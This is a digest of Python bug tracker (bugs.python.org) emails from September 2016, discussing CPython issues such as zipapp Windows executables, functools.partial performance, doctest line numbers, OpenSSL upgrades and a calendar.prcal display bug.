Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27950>
_______________________________________

From report at bugs.python.org  Thu Sep 22 07:17:25 2016
From: report at bugs.python.org (Steven D'Aprano)
Date: Thu, 22 Sep 2016 11:17:25 +0000
Subject: [issue28205] Add optional suffix to str.join
In-Reply-To: <1474525530.28.0.569274297016.issue28205@psf.upfronthosting.co.za>
Message-ID: <20160922111720.GY22471@ando.pearwood.info>


Steven D'Aprano added the comment:

> Looking again at the comments for the other respondents, I think this 
> should just be closed.  It doesn't make sense to disturb a long 
> standing API or the break the join/split symmetry.

For what it's worth, in hindsight I agree. I'm a little embarassed that 
I missed such a simple solution. Sorry for the noise!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28205>
_______________________________________

From report at bugs.python.org  Thu Sep 22 07:31:25 2016
From: report at bugs.python.org (py.user)
Date: Thu, 22 Sep 2016 11:31:25 +0000
Subject: [issue28234] In xml.etree.ElementTree docs there are many absent
 Element class links
In-Reply-To: <1474453668.8.0.0192177985612.issue28234@psf.upfronthosting.co.za>
Message-ID: <1474543885.78.0.0217557481535.issue28234@psf.upfronthosting.co.za>


py.user added the comment:

Serhiy Storchaka wrote:
> I believe that in particular you can mix Python and
> C implementations of Element and lxml.etree elements in one tree.


The xml.etree.ElementTree.ElementTree() can accept lxml.etree.Element() as a node, but node in node is impossible.

>>> import xml.etree.ElementTree as etree_xml
>>> import lxml.etree as etree_lxml
>>> 
>>> elem1 = etree_xml.Element('a')
>>> elem2 = etree_lxml.Element('b')
>>> elem1.append(elem2)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: must be xml.etree.ElementTree.Element, not lxml.etree._Element
>>>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28234>
_______________________________________

From report at bugs.python.org  Thu Sep 22 07:33:38 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 22 Sep 2016 11:33:38 +0000
Subject: [issue26351] Occasionally check for Ctrl-C in long-running operations
 like sum
In-Reply-To: <1474521286.94.0.165090532993.issue26351@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwYZ+77e7JUOEzwm0h_y9Y6oiMGM5gidjL_-7A+GR8KPag@mail.gmail.com>


STINNER Victor added the comment:

You should try https://github.com/python/performance to get reliable
benchmark results ;-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26351>
_______________________________________

From report at bugs.python.org  Thu Sep 22 07:40:22 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 22 Sep 2016 11:40:22 +0000
Subject: [issue28243] Performance regression in functools.partial()
In-Reply-To: <1474482461.16.0.647819968557.issue28243@psf.upfronthosting.co.za>
Message-ID: <1474544422.75.0.105958972249.issue28243@psf.upfronthosting.co.za>


STINNER Victor added the comment:

"If revert c1a698edfa1b, the performance is returned to the level of 3.5."

Oh, so using "fastcall" makes partial_call() slower? That's really something bad :-/ It would be nice if you can confirm using all optimizations enabled (PGO+LTO): ./configure --with-optimizations.

For faster compilation and best performances, you might also try to modify PROFILE_TASK in Makefile.pre.in to run your microbenchmark (but you need to run it long enough, so the compiler is able to detect hot code).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28243>
_______________________________________

From report at bugs.python.org  Thu Sep 22 09:13:08 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 22 Sep 2016 13:13:08 +0000
Subject: [issue27348] traceback (and threading) drops exception message
In-Reply-To: <1466261856.58.0.470780414166.issue27348@psf.upfronthosting.co.za>
Message-ID: <1474549988.69.0.711075028675.issue27348@psf.upfronthosting.co.za>


Changes by Martin Panter <vadmium+py at gmail.com>:


----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27348>
_______________________________________

From report at bugs.python.org  Thu Sep 22 09:14:39 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 22 Sep 2016 13:14:39 +0000
Subject: [issue27950] Superfluous messages when running make
In-Reply-To: <1472923093.9.0.208498000051.issue27950@psf.upfronthosting.co.za>
Message-ID: <1474550079.28.0.536158521367.issue27950@psf.upfronthosting.co.za>


Martin Panter added the comment:

The version I committed has the space separating @ #

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27950>
_______________________________________

From report at bugs.python.org  Thu Sep 22 09:16:00 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 22 Sep 2016 13:16:00 +0000
Subject: [issue27950] Superfluous messages when running make
In-Reply-To: <1472923093.9.0.208498000051.issue27950@psf.upfronthosting.co.za>
Message-ID: <1474550160.8.0.339963853608.issue27950@psf.upfronthosting.co.za>


Changes by Martin Panter <vadmium+py at gmail.com>:


----------
versions: +Python 3.7 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27950>
_______________________________________

From report at bugs.python.org  Thu Sep 22 09:44:21 2016
From: report at bugs.python.org (Steve Dower)
Date: Thu, 22 Sep 2016 13:44:21 +0000
Subject: [issue28245] Embeddable Python does not use PYTHONPATH.
In-Reply-To: <1474523825.78.0.633283708939.issue28245@psf.upfronthosting.co.za>
Message-ID: <1474551861.82.0.63200942031.issue28245@psf.upfronthosting.co.za>


Steve Dower added the comment:

Correct, and if you look ahead to 3.6 then you'll see I've already changed how this works. There is now support for a python._pth file that contains exactly the paths you want in sys.path, as well as suppressing all other sources.

----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28245>
_______________________________________

From report at bugs.python.org  Thu Sep 22 09:55:29 2016
From: report at bugs.python.org (Paul Moore)
Date: Thu, 22 Sep 2016 13:55:29 +0000
Subject: [issue28247] Add an option to zipapp to produce a Windows executable
Message-ID: <1474552529.42.0.627404378819.issue28247@psf.upfronthosting.co.za>


New submission from Paul Moore:

The zipapp module allows users to bundle their application as a single file "executable". On Windows, the file is given a ".pyz" extension which is associated with the Python launcher. However, this approach is not always equivalent to a native executable (see http://paul-moores-notes.readthedocs.io/en/latest/wrappers.html for more details).

I suggest adding an option to zipapp that prepends a small executable to the zipapp that uses the Python C API to launch the application. A prototype implementation (zastub) is available at https://github.com/pfmoore/pylaunch.

If this seems reasonable, I'll work up a full patch.

----------
assignee: paul.moore
components: Library (Lib), Windows
messages: 277224
nosy: paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: needs patch
status: open
title: Add an option to zipapp to produce a Windows executable
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28247>
_______________________________________

From report at bugs.python.org  Thu Sep 22 09:55:43 2016
From: report at bugs.python.org (Erik Bray)
Date: Thu, 22 Sep 2016 13:55:43 +0000
Subject: [issue27374] Cygwin: Makefile does not install DLL import library
In-Reply-To: <1466695238.23.0.601958974473.issue27374@psf.upfronthosting.co.za>
Message-ID: <1474552543.76.0.702818756735.issue27374@psf.upfronthosting.co.za>


Erik Bray added the comment:

Masayuki--concerning your above comments, I think this is similar to, if not the same as #13756

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27374>
_______________________________________

From report at bugs.python.org  Thu Sep 22 09:56:25 2016
From: report at bugs.python.org (Alex Gaynor)
Date: Thu, 22 Sep 2016 13:56:25 +0000
Subject: [issue28248] Upgrade installers to OpenSSL 1.0.2i
Message-ID: <1474552584.95.0.0318594270303.issue28248@psf.upfronthosting.co.za>


New submission from Alex Gaynor:

https://www.openssl.org/news/secadv/20160922.txt

----------
assignee: christian.heimes
components: Library (Lib), SSL
keywords: security_issue
messages: 277226
nosy: alex, christian.heimes, dstufft, janssen, ned.deily, paul.moore, ronaldoussoren, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Upgrade installers to OpenSSL 1.0.2i
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28248>
_______________________________________

From report at bugs.python.org  Thu Sep 22 10:56:40 2016
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 22 Sep 2016 14:56:40 +0000
Subject: [issue28086] test.test_getargs2.TupleSubclass test failure
In-Reply-To: <1473633837.1.0.634614870367.issue28086@psf.upfronthosting.co.za>
Message-ID: <1474556200.66.0.00142270070066.issue28086@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

> The simplest way is just change PyTuple_Check to 
> PyTuple_CheckExact in ceval.c.

+1

----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28086>
_______________________________________

From report at bugs.python.org  Thu Sep 22 11:12:36 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 22 Sep 2016 15:12:36 +0000
Subject: [issue28247] Add an option to zipapp to produce a Windows executable
In-Reply-To: <1474552529.42.0.627404378819.issue28247@psf.upfronthosting.co.za>
Message-ID: <1474557156.18.0.262966765257.issue28247@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Why not just change the extension to cmd and add the following line at the start?

    @python -x "%0" %*

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28247>
_______________________________________

From report at bugs.python.org  Thu Sep 22 11:26:28 2016
From: report at bugs.python.org (Paul Moore)
Date: Thu, 22 Sep 2016 15:26:28 +0000
Subject: [issue28247] Add an option to zipapp to produce a Windows executable
In-Reply-To: <1474552529.42.0.627404378819.issue28247@psf.upfronthosting.co.za>
Message-ID: <1474557988.52.0.870253250301.issue28247@psf.upfronthosting.co.za>


Paul Moore added the comment:

(1) It starts an extra process (unless you're running the application from cmd.exe) and (2) in some cases, the system won't recognise a cmd file as an executable. For a simple example,

t.cmd:

@echo Hello from t

example.py:

from subprocess import run
run(["t")]

If you run example.py you get "FileNotFoundError: [WinError 2] The system cannot find the file specified".

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28247>
_______________________________________

From report at bugs.python.org  Thu Sep 22 11:32:20 2016
From: report at bugs.python.org (=?utf-8?q?Cl=C3=A9ment?=)
Date: Thu, 22 Sep 2016 15:32:20 +0000
Subject: [issue28249] doctest.DocTestFinder reports incorrect line numbers
 with exclude_empty=False
Message-ID: <1474558340.5.0.316638267735.issue28249@psf.upfronthosting.co.za>


New submission from Cl?ment:

Line numbers reported by the doctest module are wrong when a function does not include a docstring.  With the attached example file, running

    python -c "import doctest, example; print(doctest.DocTestFinder(exclude_empty=False).find(example))"

produces

    [<DocTest example from example.py:5 (no examples)>,
     <DocTest example.a from example.py:5 (no examples)>,
     <DocTest example.b from example.py:5 (no examples)>,
     <DocTest example.c from example.py:None (no examples)>]

whereas if one uncomments the docstrings of a and c the output is

    [<DocTest example from example.py:1 (no examples)>,
     <DocTest example.a from example.py:1 (no examples)>,
     <DocTest example.b from example.py:5 (no examples)>,
     <DocTest example.c from example.py:9 (no examples)>]

This bug is due to this line in doctest:

    lineno = self._find_lineno(obj, source_lines)

The documentation of _find_lineno says this:

    def _find_lineno(self, obj, source_lines):
        """
        Return a line number of the given object's docstring.  Note:
        this method assumes that the object has a docstring.
        """

This assumption is violated by the call listed above, because of the exclude_empty=False parameter to DocTestFinder().

I guess lineno should just be None for all methods that do not have a docstring?

----------
components: Library (Lib)
files: example.py
messages: 277230
nosy: cpitclaudel
priority: normal
severity: normal
status: open
title: doctest.DocTestFinder reports incorrect line numbers with exclude_empty=False
versions: Python 2.7, Python 3.5
Added file: http://bugs.python.org/file44786/example.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28249>
_______________________________________

From report at bugs.python.org  Thu Sep 22 12:18:27 2016
From: report at bugs.python.org (Eryk Sun)
Date: Thu, 22 Sep 2016 16:18:27 +0000
Subject: [issue28247] Add an option to zipapp to produce a Windows executable
In-Reply-To: <1474552529.42.0.627404378819.issue28247@psf.upfronthosting.co.za>
Message-ID: <1474561107.52.0.308454285298.issue28247@psf.upfronthosting.co.za>


Eryk Sun added the comment:

Specifically, while CreateProcess does execute batch scripts via the %ComSpec% interpreter, the only extension it infers is ".exe". To run a ".cmd" or ".bat" file, you have to use the full name with the extension.

----------
nosy: +eryksun

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28247>
_______________________________________

From report at bugs.python.org  Thu Sep 22 12:44:08 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 22 Sep 2016 16:44:08 +0000
Subject: [issue28086] test.test_getargs2.TupleSubclass test failure
In-Reply-To: <1473633837.1.0.634614870367.issue28086@psf.upfronthosting.co.za>
Message-ID: <20160922164404.19924.36524.98EB2CB9@psf.io>


Roundup Robot added the comment:

New changeset 5324906ae307 by Serhiy Storchaka in branch '3.6':
Issue #28086: Single var-positional argument of tuple subtype was passed
https://hg.python.org/cpython/rev/5324906ae307

New changeset 858afd17e3ee by Serhiy Storchaka in branch 'default':
Issue #28086: Single var-positional argument of tuple subtype was passed
https://hg.python.org/cpython/rev/858afd17e3ee

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28086>
_______________________________________

From report at bugs.python.org  Thu Sep 22 12:45:30 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 22 Sep 2016 16:45:30 +0000
Subject: [issue28086] test.test_getargs2.TupleSubclass test failure
In-Reply-To: <1473633837.1.0.634614870367.issue28086@psf.upfronthosting.co.za>
Message-ID: <1474562730.73.0.666179093601.issue28086@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28086>
_______________________________________

From report at bugs.python.org  Thu Sep 22 12:47:10 2016
From: report at bugs.python.org (Brett Cannon)
Date: Thu, 22 Sep 2016 16:47:10 +0000
Subject: [issue28247] Add an option to zipapp to produce a Windows executable
In-Reply-To: <1474552529.42.0.627404378819.issue28247@psf.upfronthosting.co.za>
Message-ID: <1474562830.58.0.508658076541.issue28247@psf.upfronthosting.co.za>


Changes by Brett Cannon <brett at python.org>:


----------
nosy: +brett.cannon

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28247>
_______________________________________

From report at bugs.python.org  Thu Sep 22 12:54:56 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 22 Sep 2016 16:54:56 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1474563296.67.0.522657854933.issue27213@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

I think that's all with this issue.

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Thu Sep 22 13:43:01 2016
From: report at bugs.python.org (Cherniavsky Beni)
Date: Thu, 22 Sep 2016 17:43:01 +0000
Subject: [issue15873] datetime: add ability to parse RFC 3339 dates and times
In-Reply-To: <1346965730.56.0.810546720554.issue15873@psf.upfronthosting.co.za>
Message-ID: <1474566181.74.0.818589427194.issue15873@psf.upfronthosting.co.za>


Changes by Cherniavsky Beni <beni at google.com>:


----------
nosy: +cben

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15873>
_______________________________________

From report at bugs.python.org  Thu Sep 22 13:43:18 2016
From: report at bugs.python.org (Drake Bridgewater)
Date: Thu, 22 Sep 2016 17:43:18 +0000
Subject: [issue22848] Subparser help does not respect SUPPRESS argument
In-Reply-To: <1415728297.74.0.809984326992.issue22848@psf.upfronthosting.co.za>
Message-ID: <1474566198.4.0.755250893479.issue22848@psf.upfronthosting.co.za>


Changes by Drake Bridgewater <drake.bridgewater at gmail.com>:


----------
nosy: +Drake Bridgewater

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22848>
_______________________________________

From report at bugs.python.org  Thu Sep 22 13:51:33 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Thu, 22 Sep 2016 17:51:33 +0000
Subject: [issue15873] datetime: add ability to parse RFC 3339 dates and times
In-Reply-To: <1346965730.56.0.810546720554.issue15873@psf.upfronthosting.co.za>
Message-ID: <1474566693.98.0.445028381372.issue15873@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
versions: +Python 3.7 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15873>
_______________________________________

From report at bugs.python.org  Thu Sep 22 14:25:35 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 22 Sep 2016 18:25:35 +0000
Subject: [issue28248] Upgrade installers to OpenSSL 1.0.2i
In-Reply-To: <1474552584.95.0.0318594270303.issue28248@psf.upfronthosting.co.za>
Message-ID: <1474568735.06.0.0877023847889.issue28248@psf.upfronthosting.co.za>


Christian Heimes added the comment:

1.0.2i passes all tests of 2.7, 3.5-7 on Linux

----------
assignee: christian.heimes -> 
components: +Macintosh, Windows

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28248>
_______________________________________

From report at bugs.python.org  Thu Sep 22 14:26:07 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 22 Sep 2016 18:26:07 +0000
Subject: [issue28248] Upgrade installers to OpenSSL 1.0.2i
In-Reply-To: <1474552584.95.0.0318594270303.issue28248@psf.upfronthosting.co.za>
Message-ID: <1474568767.69.0.0521285709004.issue28248@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
nosy: +benjamin.peterson, larry
priority: normal -> release blocker
stage:  -> needs patch
type:  -> security

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28248>
_______________________________________

From report at bugs.python.org  Thu Sep 22 14:40:38 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 22 Sep 2016 18:40:38 +0000
Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183)
In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za>
Message-ID: <1474569638.73.0.898100512171.issue27850@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Larry, the issue has nothing to do with the TLS/SSL library or implementation. It's about cipher suite selection. All (!) SSL libraries are affected because they had 3DES enabled as legacy fallback.

Fun fact: OpenSSL latest security fix has addressed the issue and disabled 3DES by default. But Python overrides the fix and enables 3DES again. LibreSSL hasn't announced a fix yet.

By the way I don't take LibreSSL serious. The developers are all cookie about best practice and security but they don't even offer HTTPS on their website or for downloads. Yes, the official download location for LibreSSL does not support secure file transfer.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27850>
_______________________________________

From report at bugs.python.org  Thu Sep 22 15:45:06 2016
From: report at bugs.python.org (Kurt Dally)
Date: Thu, 22 Sep 2016 19:45:06 +0000
Subject: [issue28250] typing.NamedTuple instances are not picklable Two
Message-ID: <1474573506.29.0.553712445703.issue28250@psf.upfronthosting.co.za>


New submission from Kurt Dally:

Creating a namedtuple and an instance of the namedtuple in a function then returning the instance to the global namespace made the instance unpickleable, as in Issue25665.

----------
components: Library (Lib)
messages: 277236
nosy: Kurt
priority: normal
severity: normal
status: open
title: typing.NamedTuple instances are not picklable Two
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28250>
_______________________________________

From report at bugs.python.org  Thu Sep 22 17:06:32 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 22 Sep 2016 21:06:32 +0000
Subject: [issue28243] Performance regression in functools.partial()
In-Reply-To: <1474482461.16.0.647819968557.issue28243@psf.upfronthosting.co.za>
Message-ID: <1474578392.68.0.744066787989.issue28243@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

With using all optimizations enabled the difference is much smaller if not disappeared.

Python 3.5:  Median +- std dev: 423 ns +- 9 ns
Python 3.7:  Median +- std dev: 427 ns +- 13 ns

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28243>
_______________________________________

From report at bugs.python.org  Thu Sep 22 17:11:16 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 22 Sep 2016 21:11:16 +0000
Subject: [issue28243] Performance regression in functools.partial()
In-Reply-To: <1474482461.16.0.647819968557.issue28243@psf.upfronthosting.co.za>
Message-ID: <1474578676.69.0.115566164192.issue28243@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> Python 3.5:  Median +- std dev: 423 ns +- 9 ns
> Python 3.7:  Median +- std dev: 427 ns +- 13 ns

0.9% slower on a microbenchmark is not really what I would call significant :-)

But there is an underlying issue: when PGO+LTO is not used, Python 3.7 (and Python 3.6, no?) seems slower than Python 3.5. I recall that I moved some code from Python/ceval.c to Objects/abstract.c and made subtle changes on how functions are called. I guess that code locality has an impact on such microbenchmark (CPU-bound). Maybe we should move code, but I don't know where nor how. I understood that PGO puts "hot" code in a special section to make the hot code closer.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28243>
_______________________________________

From report at bugs.python.org  Thu Sep 22 17:13:20 2016
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 22 Sep 2016 21:13:20 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1474563296.67.0.522657854933.issue27213@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwbEBaHktx7jUTMSFCnbcuCQjikHpkjHDz37WpWFTKzNRg@mail.gmail.com>


STINNER Victor added the comment:

> I think that's all with this issue.

Thanks Demur and Serhiy for your great work!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Thu Sep 22 18:14:32 2016
From: report at bugs.python.org (Steve Dower)
Date: Thu, 22 Sep 2016 22:14:32 +0000
Subject: [issue28251] Help manuals do not appear in Windows search
Message-ID: <1474582472.92.0.826055372381.issue28251@psf.upfronthosting.co.za>


New submission from Steve Dower:

On Windows 10, you can't search in the start menu for the HTML Help manuals.

This annoys me so much I'm going to figure out a way fix it :)

----------
assignee: steve.dower
components: Windows
messages: 277240
nosy: paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
stage: needs patch
status: open
title: Help manuals do not appear in Windows search
type: enhancement
versions: Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28251>
_______________________________________

From report at bugs.python.org  Thu Sep 22 20:12:21 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 23 Sep 2016 00:12:21 +0000
Subject: [issue28251] Help manuals do not appear in Windows search
In-Reply-To: <1474582472.92.0.826055372381.issue28251@psf.upfronthosting.co.za>
Message-ID: <20160923001217.4571.57530.999A3429@psf.io>


Roundup Robot added the comment:

New changeset 45ba976b7064 by Steve Dower in branch '3.5':
Issue #28251: Improvements to help manuals on Windows.
https://hg.python.org/cpython/rev/45ba976b7064

New changeset e703c3a390f7 by Steve Dower in branch '3.6':
Issue #28251: Improvements to help manuals on Windows.
https://hg.python.org/cpython/rev/e703c3a390f7

New changeset 15f82b64eee0 by Steve Dower in branch 'default':
Issue #28251: Improvements to help manuals on Windows.
https://hg.python.org/cpython/rev/15f82b64eee0

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28251>
_______________________________________

From report at bugs.python.org  Thu Sep 22 20:13:49 2016
From: report at bugs.python.org (Steve Dower)
Date: Fri, 23 Sep 2016 00:13:49 +0000
Subject: [issue28251] Help manuals do not appear in Windows search
In-Reply-To: <1474582472.92.0.826055372381.issue28251@psf.upfronthosting.co.za>
Message-ID: <1474589629.95.0.274845021545.issue28251@psf.upfronthosting.co.za>


Steve Dower added the comment:

Fixed both the installation link and the bad javascript in the chm files. I also changed the changelog link to an internal link for the latest version and external for older versions (otherwise we were going to the web version which has JS that the HTML Help Viewer can't handle).

Open to suggestions for other improvements, but this resolves all the issues I'm currently aware of.

----------
nosy: +ned.deily
stage: needs patch -> commit review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28251>
_______________________________________

From report at bugs.python.org  Fri Sep 23 01:49:12 2016
From: report at bugs.python.org (Eswar Yaganti)
Date: Fri, 23 Sep 2016 05:49:12 +0000
Subject: [issue28252] Tuples used before introduction to tuple in tutorial
Message-ID: <1474609752.92.0.504291617054.issue28252@psf.upfronthosting.co.za>


New submission from Eswar Yaganti:

In the python tutorial, the tuples were used in an example before the introduction to tuples in section 5.1.4

----------
assignee: docs at python
components: Documentation
messages: 277243
nosy: Eswar Yaganti, docs at python
priority: normal
severity: normal
status: open
title: Tuples used before introduction to tuple in tutorial
type: enhancement
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28252>
_______________________________________

From report at bugs.python.org  Fri Sep 23 01:59:40 2016
From: report at bugs.python.org (lijp)
Date: Fri, 23 Sep 2016 05:59:40 +0000
Subject: [issue28253] the reply's additional "Re:"
Message-ID: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>


New submission from lijp:

hi
I`m a python newer.
when I use python3.4.3 to learn about package calendar,I found a problem, Could you help me to confirm it which is is a bug.

Below is my env:
------------------------------
os: win7 x86
python version:3.4.3
------------------------------
problem:
when I use calendar.prcal() method to print detail calendar information. the display December of year 9999 `s localtion is wrong.
my python source:
--------------------------------------
import calendar
calendar.prcal(9999)
--------------------------------------

partial output:

but,when I use [print (calendar.month(9999,12))] to confirm, it`s OK .

please help me to confirm.
thank you.

----------
messages: 277244
nosy: xibeilijp
priority: normal
severity: normal
status: open
title: the reply's additional "Re:"

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Fri Sep 23 02:21:47 2016
From: report at bugs.python.org (Joe Jevnik)
Date: Fri, 23 Sep 2016 06:21:47 +0000
Subject: [issue28254] Add C API for gc.enable, gc.disable, and gc.isenabled
Message-ID: <1474611707.66.0.467568151114.issue28254@psf.upfronthosting.co.za>


New submission from Joe Jevnik:

I was writing an extension module that was working with weakrefs and wanted to ensure that the GC would not run for a block of code. I noticed that gc.enable/gc.disable are not exposed to C and the state of the gc is in a static variable so it cannot be mutated from an extension.

This change adds an easier way to access this functionality in the C api without going through an import or PyObject_Call.

I am wondering where to document these functions as well as PyGC_Collect. I didn't see that function anywhere in the docs (and didn't know about it) so I would like to make them more visible. My first thought was Doc/c-api/gcsupport.rst but this is not in service of supporting the GC, it is about the state of the GC itself. If that seems like a decent place I could add a small section at the bottom about interacting with the GC and document these new functions and PyGC_Collect.

I'm sorry if this is exposed elsewhere. If it is I can try to add some links to i

----------
components: Extension Modules
files: gc-capi.patch
keywords: patch
messages: 277245
nosy: llllllllll
priority: normal
severity: normal
status: open
title: Add C API for gc.enable, gc.disable, and gc.isenabled
versions: Python 3.7
Added file: http://bugs.python.org/file44787/gc-capi.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28254>
_______________________________________

From report at bugs.python.org  Fri Sep 23 02:38:38 2016
From: report at bugs.python.org (lijp)
Date: Fri, 23 Sep 2016 06:38:38 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474612718.72.0.544587295935.issue28253@psf.upfronthosting.co.za>


Changes by lijp <xibeilijp at 163.com>:


----------
components: +Windows
nosy: +paul.moore, steve.dower, tim.golden, zach.ware
title: the reply's additional "Re:" -> calendar.prcal(9999) output has a problem
type:  -> behavior
versions: +Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Fri Sep 23 02:48:47 2016
From: report at bugs.python.org (lijp)
Date: Fri, 23 Sep 2016 06:48:47 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474613327.95.0.471808770346.issue28253@psf.upfronthosting.co.za>


Changes by lijp <xibeilijp at 163.com>:


Added file: http://bugs.python.org/file44788/20160923154147.png

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Fri Sep 23 03:44:26 2016
From: report at bugs.python.org (Oren Milman)
Date: Fri, 23 Sep 2016 07:44:26 +0000
Subject: [issue27298] redundant iteration over digits in
 _PyLong_AsUnsignedLongMask
In-Reply-To: <1465680013.34.0.390511904077.issue27298@psf.upfronthosting.co.za>
Message-ID: <1474616666.97.0.88978174248.issue27298@psf.upfronthosting.co.za>


Changes by Oren Milman <orenmn at gmail.com>:


----------
versions: +Python 3.7 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27298>
_______________________________________

From report at bugs.python.org  Fri Sep 23 04:00:33 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 23 Sep 2016 08:00:33 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474617633.41.0.2542323128.issue28253@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Thank you for your report lijp. This is interesting issue. It is not specific for Windows.

itermonthdates() yields shortened sequence of dates at the end of maximal year. The formatted row of day numbers is centered. Since the number of days is less than expected, additional spaces are added at the left.

----------
assignee:  -> serhiy.storchaka
